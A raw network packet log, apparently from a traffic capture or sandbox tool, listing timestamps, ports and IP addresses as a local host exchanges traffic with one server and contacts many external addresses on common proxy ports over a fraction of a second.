Feb 23, 2024 14:28:23.723129034 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.723162889 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.723182917 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.723222017 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.723222971 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.723309994 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.723361969 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.723707914 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.723716974 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.723723888 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.723731041 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.723737955 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.723753929 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.723762035 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.723782063 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.723786116 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.723819017 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.723820925 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.723830938 CET	3128	50591	13.37.59.99	192.168.2.8
Feb 23, 2024 14:28:23.723912954 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.724035978 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724050045 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724056959 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724103928 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724143028 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724150896 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.724189043 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724237919 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.724302053 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.724309921 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724329948 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724344015 CET	999	50441	45.229.34.174	192.168.2.8
Feb 23, 2024 14:28:23.724385023 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724397898 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724409103 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.724455118 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724456072 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.724493027 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724520922 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724544048 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724591970 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724601030 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724622965 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724628925 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.724644899 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724668026 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.724706888 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.724711895 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724733114 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724764109 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724786043 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.724822044 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724849939 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724878073 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724894047 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724911928 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.724917889 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724956989 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.724987030 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725006104 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725058079 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725065947 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725090027 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.725105047 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725106955 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.725136042 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725162029 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.725176096 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725212097 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725229979 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725284100 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725316048 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.725322008 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725383043 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725395918 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725445032 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725476980 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.725486040 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725538015 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725569963 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725630999 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.725660086 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725678921 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725682020 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.725718975 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725761890 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725784063 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.725824118 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725869894 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.725934982 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725970030 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.725980043 CET	50118	28143	192.168.2.8	67.43.228.253
Feb 23, 2024 14:28:23.726001978 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.726059914 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.726066113 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.726093054 CET	49804	4153	192.168.2.8	103.94.133.93
Feb 23, 2024 14:28:23.726113081 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.726124048 CET	50015	3128	192.168.2.8	37.120.222.132
Feb 23, 2024 14:28:23.726135969 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.726186037 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.726210117 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.726226091 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.726243973 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.726288080 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.726295948 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.726351023 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.726358891 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.726366997 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.726397991 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.726404905 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.726468086 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.726494074 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.726525068 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.726532936 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.726546049 CET	44712	50058	92.204.135.4	192.168.2.8
Feb 23, 2024 14:28:23.726598024 CET	31280	50869	82.113.157.122	192.168.2.8
Feb 23, 2024 14:28:23.726624012 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.726671934 CET	50869	31280	192.168.2.8	82.113.157.122
Feb 23, 2024 14:28:23.726984024 CET	50869	31280	192.168.2.8	82.113.157.122
Feb 23, 2024 14:28:23.727216959 CET	51072	31280	192.168.2.8	82.113.157.122
Feb 23, 2024 14:28:23.727344990 CET	80	51023	104.19.233.117	192.168.2.8
Feb 23, 2024 14:28:23.727351904 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.727426052 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.727453947 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.727458000 CET	51023	80	192.168.2.8	104.19.233.117
Feb 23, 2024 14:28:23.727487087 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.727497101 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.727520943 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.727545023 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.727546930 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.727549076 CET	51023	80	192.168.2.8	104.19.233.117
Feb 23, 2024 14:28:23.727556944 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.727583885 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.727601051 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.727672100 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.727729082 CET	8080	50609	8.213.128.6	192.168.2.8
Feb 23, 2024 14:28:23.727787018 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.727798939 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.727889061 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.727890968 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.727899075 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.728018999 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.728676081 CET	38080	50184	152.32.238.63	192.168.2.8
Feb 23, 2024 14:28:23.728730917 CET	38080	50184	152.32.238.63	192.168.2.8
Feb 23, 2024 14:28:23.728786945 CET	31280	50869	82.113.157.122	192.168.2.8
Feb 23, 2024 14:28:23.728946924 CET	50184	38080	192.168.2.8	152.32.238.63
Feb 23, 2024 14:28:23.728946924 CET	50184	38080	192.168.2.8	152.32.238.63
Feb 23, 2024 14:28:23.729449034 CET	16379	50207	51.15.209.188	192.168.2.8
Feb 23, 2024 14:28:23.729465961 CET	51073	38080	192.168.2.8	152.32.238.63
Feb 23, 2024 14:28:23.729506969 CET	50207	16379	192.168.2.8	51.15.209.188
Feb 23, 2024 14:28:23.729686975 CET	50207	16379	192.168.2.8	51.15.209.188
Feb 23, 2024 14:28:23.729947090 CET	56367	50181	54.36.108.149	192.168.2.8
Feb 23, 2024 14:28:23.730115891 CET	50181	56367	192.168.2.8	54.36.108.149
Feb 23, 2024 14:28:23.730221987 CET	50181	56367	192.168.2.8	54.36.108.149
Feb 23, 2024 14:28:23.734041929 CET	60083	50031	148.66.130.187	192.168.2.8
Feb 23, 2024 14:28:23.734050989 CET	42580	50227	175.139.179.65	192.168.2.8
Feb 23, 2024 14:28:23.734543085 CET	128	50812	187.40.1.122	192.168.2.8
Feb 23, 2024 14:28:23.734575987 CET	50031	60083	192.168.2.8	148.66.130.187
Feb 23, 2024 14:28:23.734822035 CET	4145	50047	184.181.217.220	192.168.2.8
Feb 23, 2024 14:28:23.734827995 CET	4145	50047	184.181.217.220	192.168.2.8
Feb 23, 2024 14:28:23.734854937 CET	4145	50957	174.77.111.196	192.168.2.8
Feb 23, 2024 14:28:23.735539913 CET	999	50752	181.209.110.190	192.168.2.8
Feb 23, 2024 14:28:23.735811949 CET	50957	4145	192.168.2.8	174.77.111.196
Feb 23, 2024 14:28:23.736457109 CET	39796	50490	141.94.174.6	192.168.2.8
Feb 23, 2024 14:28:23.737026930 CET	128	50812	187.40.1.122	192.168.2.8
Feb 23, 2024 14:28:23.738368988 CET	7302	50087	60.215.109.34	192.168.2.8
Feb 23, 2024 14:28:23.739665985 CET	17317	50010	92.205.105.134	192.168.2.8
Feb 23, 2024 14:28:23.739764929 CET	80	50372	50.168.7.250	192.168.2.8
Feb 23, 2024 14:28:23.739909887 CET	80	49722	103.75.117.79	192.168.2.8
Feb 23, 2024 14:28:23.740014076 CET	50010	17317	192.168.2.8	92.205.105.134
Feb 23, 2024 14:28:23.740528107 CET	999	50972	190.61.48.24	192.168.2.8
Feb 23, 2024 14:28:23.740942955 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.741416931 CET	50812	128	192.168.2.8	187.40.1.122
Feb 23, 2024 14:28:23.741427898 CET	8080	50844	176.98.81.85	192.168.2.8
Feb 23, 2024 14:28:23.741430998 CET	50031	60083	192.168.2.8	148.66.130.187
Feb 23, 2024 14:28:23.741432905 CET	8080	50844	176.98.81.85	192.168.2.8
Feb 23, 2024 14:28:23.741525888 CET	50844	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:23.741615057 CET	50582	80	192.168.2.8	189.202.188.149
Feb 23, 2024 14:28:23.741626024 CET	50078	80	192.168.2.8	50.173.140.151
Feb 23, 2024 14:28:23.741626024 CET	50414	8089	192.168.2.8	111.225.153.146
Feb 23, 2024 14:28:23.741648912 CET	50267	40202	192.168.2.8	65.49.82.7
Feb 23, 2024 14:28:23.741648912 CET	50268	9090	192.168.2.8	45.90.104.150
Feb 23, 2024 14:28:23.741653919 CET	50562	3128	192.168.2.8	201.91.82.155
Feb 23, 2024 14:28:23.741653919 CET	49757	29075	192.168.2.8	72.10.164.178
Feb 23, 2024 14:28:23.741653919 CET	50271	3128	192.168.2.8	155.248.213.236
Feb 23, 2024 14:28:23.741662979 CET	80	50726	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:23.741672039 CET	50453	36331	192.168.2.8	103.115.255.1
Feb 23, 2024 14:28:23.741674900 CET	80	50726	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:23.741683960 CET	50264	80	192.168.2.8	222.111.18.67
Feb 23, 2024 14:28:23.741842031 CET	4145	50872	72.210.208.101	192.168.2.8
Feb 23, 2024 14:28:23.741879940 CET	4145	50872	72.210.208.101	192.168.2.8
Feb 23, 2024 14:28:23.742688894 CET	50844	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:23.743516922 CET	50957	4145	192.168.2.8	174.77.111.196
Feb 23, 2024 14:28:23.744426012 CET	51074	4145	192.168.2.8	72.210.208.101
Feb 23, 2024 14:28:23.745095015 CET	80	50557	50.173.140.148	192.168.2.8
Feb 23, 2024 14:28:23.746108055 CET	51075	4145	192.168.2.8	184.181.217.220
Feb 23, 2024 14:28:23.746243954 CET	80	49892	50.204.219.227	192.168.2.8
Feb 23, 2024 14:28:23.746424913 CET	35860	50845	212.3.112.128	192.168.2.8
Feb 23, 2024 14:28:23.746912003 CET	35860	50845	212.3.112.128	192.168.2.8
Feb 23, 2024 14:28:23.747036934 CET	50845	35860	192.168.2.8	212.3.112.128
Feb 23, 2024 14:28:23.747173071 CET	50845	35860	192.168.2.8	212.3.112.128
Feb 23, 2024 14:28:23.748136997 CET	4441	50129	161.97.170.209	192.168.2.8
Feb 23, 2024 14:28:23.748281002 CET	50129	4441	192.168.2.8	161.97.170.209
Feb 23, 2024 14:28:23.748517990 CET	50129	4441	192.168.2.8	161.97.170.209
Feb 23, 2024 14:28:23.749819040 CET	80	50956	172.67.3.98	192.168.2.8
Feb 23, 2024 14:28:23.749859095 CET	80	50956	172.67.3.98	192.168.2.8
Feb 23, 2024 14:28:23.750076056 CET	4145	50988	199.229.254.129	192.168.2.8
Feb 23, 2024 14:28:23.750117064 CET	50956	80	192.168.2.8	172.67.3.98
Feb 23, 2024 14:28:23.750138044 CET	1080	49885	185.157.47.236	192.168.2.8
Feb 23, 2024 14:28:23.750154018 CET	80	50956	172.67.3.98	192.168.2.8
Feb 23, 2024 14:28:23.750157118 CET	50988	4145	192.168.2.8	199.229.254.129
Feb 23, 2024 14:28:23.750253916 CET	50956	80	192.168.2.8	172.67.3.98
Feb 23, 2024 14:28:23.752186060 CET	50988	4145	192.168.2.8	199.229.254.129
Feb 23, 2024 14:28:23.756344080 CET	80	51048	185.162.231.254	192.168.2.8
Feb 23, 2024 14:28:23.756407976 CET	51076	15389	192.168.2.8	171.244.10.204
Feb 23, 2024 14:28:23.756505966 CET	51048	80	192.168.2.8	185.162.231.254
Feb 23, 2024 14:28:23.756680012 CET	51048	80	192.168.2.8	185.162.231.254
Feb 23, 2024 14:28:23.757049084 CET	51077	1080	192.168.2.8	31.223.22.21
Feb 23, 2024 14:28:23.757221937 CET	50199	8000	192.168.2.8	24.199.86.181
Feb 23, 2024 14:28:23.757225037 CET	49831	5678	192.168.2.8	103.217.249.129
Feb 23, 2024 14:28:23.757241964 CET	50272	80	192.168.2.8	152.230.215.123
Feb 23, 2024 14:28:23.757242918 CET	50277	8111	192.168.2.8	88.99.148.60
Feb 23, 2024 14:28:23.757246017 CET	50270	21	192.168.2.8	49.156.41.179
Feb 23, 2024 14:28:23.757251024 CET	50282	3128	192.168.2.8	86.107.179.234
Feb 23, 2024 14:28:23.757251978 CET	50417	80	192.168.2.8	18.133.16.21
Feb 23, 2024 14:28:23.757252932 CET	50524	80	192.168.2.8	24.205.201.186
Feb 23, 2024 14:28:23.757267952 CET	50274	8080	192.168.2.8	182.253.247.140
Feb 23, 2024 14:28:23.757278919 CET	50157	80	192.168.2.8	50.202.75.26
Feb 23, 2024 14:28:23.757278919 CET	50281	30920	192.168.2.8	50.63.12.33
Feb 23, 2024 14:28:23.757278919 CET	50279	3128	192.168.2.8	95.216.94.103
Feb 23, 2024 14:28:23.757325888 CET	50284	16379	192.168.2.8	163.172.144.132
Feb 23, 2024 14:28:23.757575989 CET	80	51032	50.170.90.26	192.168.2.8
Feb 23, 2024 14:28:23.758141041 CET	80	50906	172.67.181.58	192.168.2.8
Feb 23, 2024 14:28:23.759124041 CET	51078	35860	192.168.2.8	212.3.112.128
Feb 23, 2024 14:28:23.759366035 CET	80	50131	31.28.4.192	192.168.2.8
Feb 23, 2024 14:28:23.759495974 CET	48425	50141	78.189.191.184	192.168.2.8
Feb 23, 2024 14:28:23.759588957 CET	50131	80	192.168.2.8	31.28.4.192
Feb 23, 2024 14:28:23.759638071 CET	50141	48425	192.168.2.8	78.189.191.184
Feb 23, 2024 14:28:23.759700060 CET	50131	80	192.168.2.8	31.28.4.192
Feb 23, 2024 14:28:23.759989977 CET	51079	9091	192.168.2.8	120.37.121.209
Feb 23, 2024 14:28:23.759989977 CET	50141	48425	192.168.2.8	78.189.191.184
Feb 23, 2024 14:28:23.760488987 CET	999	49957	191.97.19.66	192.168.2.8
Feb 23, 2024 14:28:23.761395931 CET	80	50989	18.135.133.116	192.168.2.8
Feb 23, 2024 14:28:23.761655092 CET	50989	80	192.168.2.8	18.135.133.116
Feb 23, 2024 14:28:23.761790037 CET	50989	80	192.168.2.8	18.135.133.116
Feb 23, 2024 14:28:23.762413979 CET	51080	8080	192.168.2.8	185.203.238.204
Feb 23, 2024 14:28:23.765223026 CET	51081	60404	192.168.2.8	72.167.221.145
Feb 23, 2024 14:28:23.768865108 CET	51082	8085	192.168.2.8	103.153.63.211
Feb 23, 2024 14:28:23.769531965 CET	5678	50870	113.160.203.118	192.168.2.8
Feb 23, 2024 14:28:23.769557953 CET	80	50969	162.159.242.10	192.168.2.8
Feb 23, 2024 14:28:23.769587994 CET	80	50969	162.159.242.10	192.168.2.8
Feb 23, 2024 14:28:23.770446062 CET	80	50969	162.159.242.10	192.168.2.8
Feb 23, 2024 14:28:23.770453930 CET	4153	50766	93.90.212.2	192.168.2.8
Feb 23, 2024 14:28:23.770529985 CET	50969	80	192.168.2.8	162.159.242.10
Feb 23, 2024 14:28:23.770554066 CET	51083	80	192.168.2.8	46.35.9.110
Feb 23, 2024 14:28:23.770589113 CET	4153	50766	93.90.212.2	192.168.2.8
Feb 23, 2024 14:28:23.771162033 CET	50969	80	192.168.2.8	162.159.242.10
Feb 23, 2024 14:28:23.772476912 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.772507906 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.772528887 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.772567987 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.772649050 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.772711039 CET	8080	51057	209.97.150.167	192.168.2.8
Feb 23, 2024 14:28:23.772857904 CET	50668	18939	192.168.2.8	72.10.160.90
Feb 23, 2024 14:28:23.772860050 CET	50667	10867	192.168.2.8	67.43.227.226
Feb 23, 2024 14:28:23.772880077 CET	50196	32425	192.168.2.8	67.43.227.227
Feb 23, 2024 14:28:23.772880077 CET	50278	8080	192.168.2.8	63.151.67.7
Feb 23, 2024 14:28:23.772881031 CET	50280	41541	192.168.2.8	222.165.223.139
Feb 23, 2024 14:28:23.772882938 CET	50591	3128	192.168.2.8	13.37.59.99
Feb 23, 2024 14:28:23.772883892 CET	50093	2006	192.168.2.8	173.44.141.179
Feb 23, 2024 14:28:23.772887945 CET	50098	80	192.168.2.8	50.168.163.176
Feb 23, 2024 14:28:23.772900105 CET	50287	62727	192.168.2.8	51.75.125.208
Feb 23, 2024 14:28:23.772902966 CET	50285	4153	192.168.2.8	190.2.115.33
Feb 23, 2024 14:28:23.772902966 CET	50688	9300	192.168.2.8	198.211.99.26
Feb 23, 2024 14:28:23.772919893 CET	50302	52611	192.168.2.8	37.44.238.2
Feb 23, 2024 14:28:23.772919893 CET	49744	80	192.168.2.8	96.113.158.126
Feb 23, 2024 14:28:23.772922039 CET	50300	5678	192.168.2.8	177.222.60.138
Feb 23, 2024 14:28:23.772922993 CET	50051	11201	192.168.2.8	38.41.0.6
Feb 23, 2024 14:28:23.772922993 CET	49800	8089	192.168.2.8	125.87.86.119
Feb 23, 2024 14:28:23.772922993 CET	50299	2002	192.168.2.8	103.144.18.137
Feb 23, 2024 14:28:23.772927999 CET	49937	8080	192.168.2.8	200.108.234.105
Feb 23, 2024 14:28:23.772933006 CET	50292	4145	192.168.2.8	122.53.82.126
Feb 23, 2024 14:28:23.772933006 CET	50293	42456	192.168.2.8	171.244.140.160
Feb 23, 2024 14:28:23.772950888 CET	50296	12250	192.168.2.8	92.246.139.113
Feb 23, 2024 14:28:23.772952080 CET	50297	999	192.168.2.8	45.4.202.73
Feb 23, 2024 14:28:23.772952080 CET	51057	8080	192.168.2.8	209.97.150.167
Feb 23, 2024 14:28:23.772979975 CET	50289	42571	192.168.2.8	92.204.134.38
Feb 23, 2024 14:28:23.772983074 CET	50283	3128	192.168.2.8	154.201.63.79
Feb 23, 2024 14:28:23.772994995 CET	50303	80	192.168.2.8	103.125.160.178
Feb 23, 2024 14:28:23.772999048 CET	50301	30016	192.168.2.8	85.187.151.27
Feb 23, 2024 14:28:23.773124933 CET	51057	8080	192.168.2.8	209.97.150.167
Feb 23, 2024 14:28:23.773504972 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.773550987 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.773605108 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.773634911 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.774000883 CET	30883	50595	67.43.227.228	192.168.2.8
Feb 23, 2024 14:28:23.774238110 CET	20695	50079	67.43.236.20	192.168.2.8
Feb 23, 2024 14:28:23.774315119 CET	80	51049	50.231.172.74	192.168.2.8
Feb 23, 2024 14:28:23.776854992 CET	51084	4153	192.168.2.8	93.90.212.2
Feb 23, 2024 14:28:23.778449059 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.778465033 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.778472900 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.778529882 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.778529882 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.778543949 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.778661966 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.778712988 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.779393911 CET	80	50932	94.20.183.172	192.168.2.8
Feb 23, 2024 14:28:23.779520035 CET	50932	80	192.168.2.8	94.20.183.172
Feb 23, 2024 14:28:23.779671907 CET	54395	50251	51.79.87.144	192.168.2.8
Feb 23, 2024 14:28:23.779802084 CET	50932	80	192.168.2.8	94.20.183.172
Feb 23, 2024 14:28:23.779845953 CET	50251	54395	192.168.2.8	51.79.87.144
Feb 23, 2024 14:28:23.780039072 CET	51085	19404	192.168.2.8	192.111.139.163
Feb 23, 2024 14:28:23.780096054 CET	50251	54395	192.168.2.8	51.79.87.144
Feb 23, 2024 14:28:23.781158924 CET	9000	50725	122.116.150.2	192.168.2.8
Feb 23, 2024 14:28:23.781233072 CET	9000	50725	122.116.150.2	192.168.2.8
Feb 23, 2024 14:28:23.782248020 CET	51087	9000	192.168.2.8	122.116.150.2
Feb 23, 2024 14:28:23.783010960 CET	55919	50115	45.79.191.205	192.168.2.8
Feb 23, 2024 14:28:23.785305023 CET	80	50899	60.246.122.244	192.168.2.8
Feb 23, 2024 14:28:23.785386086 CET	80	50924	104.22.14.48	192.168.2.8
Feb 23, 2024 14:28:23.785427094 CET	50899	80	192.168.2.8	60.246.122.244
Feb 23, 2024 14:28:23.785651922 CET	50899	80	192.168.2.8	60.246.122.244
Feb 23, 2024 14:28:23.786976099 CET	39533	50481	167.172.109.12	192.168.2.8
Feb 23, 2024 14:28:23.787292004 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.787522078 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.787534952 CET	3128	50396	79.101.37.78	192.168.2.8
Feb 23, 2024 14:28:23.788016081 CET	80	50997	172.67.181.37	192.168.2.8
Feb 23, 2024 14:28:23.788077116 CET	80	50997	172.67.181.37	192.168.2.8
Feb 23, 2024 14:28:23.788368940 CET	50997	80	192.168.2.8	172.67.181.37
Feb 23, 2024 14:28:23.788374901 CET	80	50997	172.67.181.37	192.168.2.8
Feb 23, 2024 14:28:23.788495064 CET	50290	8080	192.168.2.8	178.115.230.243
Feb 23, 2024 14:28:23.788506031 CET	50691	10121	192.168.2.8	67.43.236.20
Feb 23, 2024 14:28:23.788510084 CET	50686	80	192.168.2.8	50.174.145.11
Feb 23, 2024 14:28:23.788525105 CET	50223	13897	192.168.2.8	67.43.227.227
